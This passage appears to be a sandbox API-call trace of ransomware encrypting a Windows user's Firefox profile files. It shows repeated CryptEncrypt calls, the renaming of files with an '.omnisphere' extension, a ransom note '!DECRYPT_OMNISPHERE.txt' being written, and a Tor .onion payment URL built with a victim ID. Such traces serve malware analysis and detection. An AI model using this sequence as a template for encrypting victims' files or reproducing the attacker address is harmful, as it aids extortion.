hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.978] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.978] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.978] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.978] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.978] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.978] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.978] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.978] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.978] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.978] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.978] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.978] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.978] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.978] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.978] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.978] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.978] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.978] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.978] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.979] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.979] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.979] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.979] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.979] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.979] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.979] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.979] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.979] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.979] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.979] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.979] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.979] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.979] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.979] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.979] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.979] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.979] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.979] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.979] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.979] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.979] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.979] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.980] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.980] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.980] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.980] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.980] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.980] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.980] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.980] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.980] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.980] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.980] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.980] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.980] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.980] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.980] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.980] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.980] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.980] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.980] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.980] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.980] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.980] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.980] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.981] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.981] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.981] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.981] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.981] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.981] CryptDestroyKey (hKey=0x1639868) returned 1 [0161.981] CryptReleaseContext (hProv=0x1668ac0, dwFlags=0x0) returned 1 [0161.982] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x1a68, lpNewFilePointer=0x0, dwMoveMethod=0x3e0c3d0 | out: lpNewFilePointer=0x0) returned 1 [0161.982] WriteFile (in: hFile=0x3b4, lpBuffer=0x3e0be84*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c3e4, lpOverlapped=0x0 | out: lpBuffer=0x3e0be84*, lpNumberOfBytesWritten=0x3e0c3e4*=0x524, lpOverlapped=0x0) returned 1 [0161.982] GetProcessHeap () returned 0x1600000 [0161.982] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x370) returned 0x174d150 [0161.982] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504783834184.9f6a97f1-211a-4a0b-bad3-33fe96259e66.main.jsonlz4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504783834184.9f6a97f1-211a-4a0b-bad3-33fe96259e66.main.jsonlz4"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504783834184.9f6a97f1-211a-4a0b-bad3-33fe96259e66.main.jsonlz4.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504783834184.9f6a97f1-211a-4a0b-bad3-33fe96259e66.main.jsonlz4.omnisphere")) returned 1 [0161.983] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504783834184.9f6a97f1-211a-4a0b-bad3-33fe96259e66.main.jsonlz4.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504783834184.9f6a97f1-211a-4a0b-bad3-33fe96259e66.main.jsonlz4.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504783834184.9f6a97f1-211a-4a0b-bad3-33fe96259e66.main.jsonlz4.omnisphere.id" [0161.983] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504783834184.9f6a97f1-211a-4a0b-bad3-33fe96259e66.main.jsonlz4.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504783834184.9f6a97f1-211a-4a0b-bad3-33fe96259e66.main.jsonlz4.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0161.984] WriteFile (in: hFile=0x394, lpBuffer=0x3e0be84*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0be6c, lpOverlapped=0x0 | out: lpBuffer=0x3e0be84*, lpNumberOfBytesWritten=0x3e0be6c*=0x524, lpOverlapped=0x0) returned 1 [0161.986] CloseHandle (hObject=0x394) returned 1 [0161.986] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0161.986] CloseHandle (hObject=0x398) returned 1 [0161.986] SetEndOfFile (hFile=0x3b4) returned 1 [0161.986] FlushFileBuffers (hFile=0x3b4) returned 1 [0162.040] CloseHandle (hObject=0x3b4) returned 1 [0162.040] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504783834184.9f6a97f1-211a-4a0b-bad3-33fe96259e66.main.jsonlz4" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09") returned 1 [0162.040] GetProcessHeap () returned 0x1600000 [0162.040] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x174d4c8 [0162.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0162.040] GetProcessHeap () returned 0x1600000 [0162.040] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1734350 [0162.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1734350, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0162.040] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0162.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0162.040] GetProcessHeap () returned 0x1600000 [0162.040] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x17266d8 [0162.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x17266d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0162.040] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0162.040] GetProcessHeap () returned 0x1600000 [0162.041] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x110) returned 0x174d9e8 [0162.041] PathCombineW (in: pszDest=0x174d9e8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\!DECRYPT_OMNISPHERE.txt" [0162.041] GetProcessHeap () returned 0x1600000 [0162.041] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1743318 [0162.041] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0162.041] WriteFile (in: hFile=0x3b4, lpBuffer=0x1743318*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0c404, lpOverlapped=0x0 | out: lpBuffer=0x1743318*, lpNumberOfBytesWritten=0x3e0c404*=0x588, lpOverlapped=0x0) returned 1 [0162.041] CloseHandle (hObject=0x3b4) returned 1 [0162.041] GetProcessHeap () returned 0x1600000 [0162.042] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174d4c8 | out: hHeap=0x1600000) returned 1 [0162.042] GetProcessHeap () returned 0x1600000 [0162.042] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x106) returned 0x174d4c8 [0162.042] PathCombineW (in: pszDest=0x174d4c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\unique_decrypt.key" [0162.042] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0162.042] WriteFile 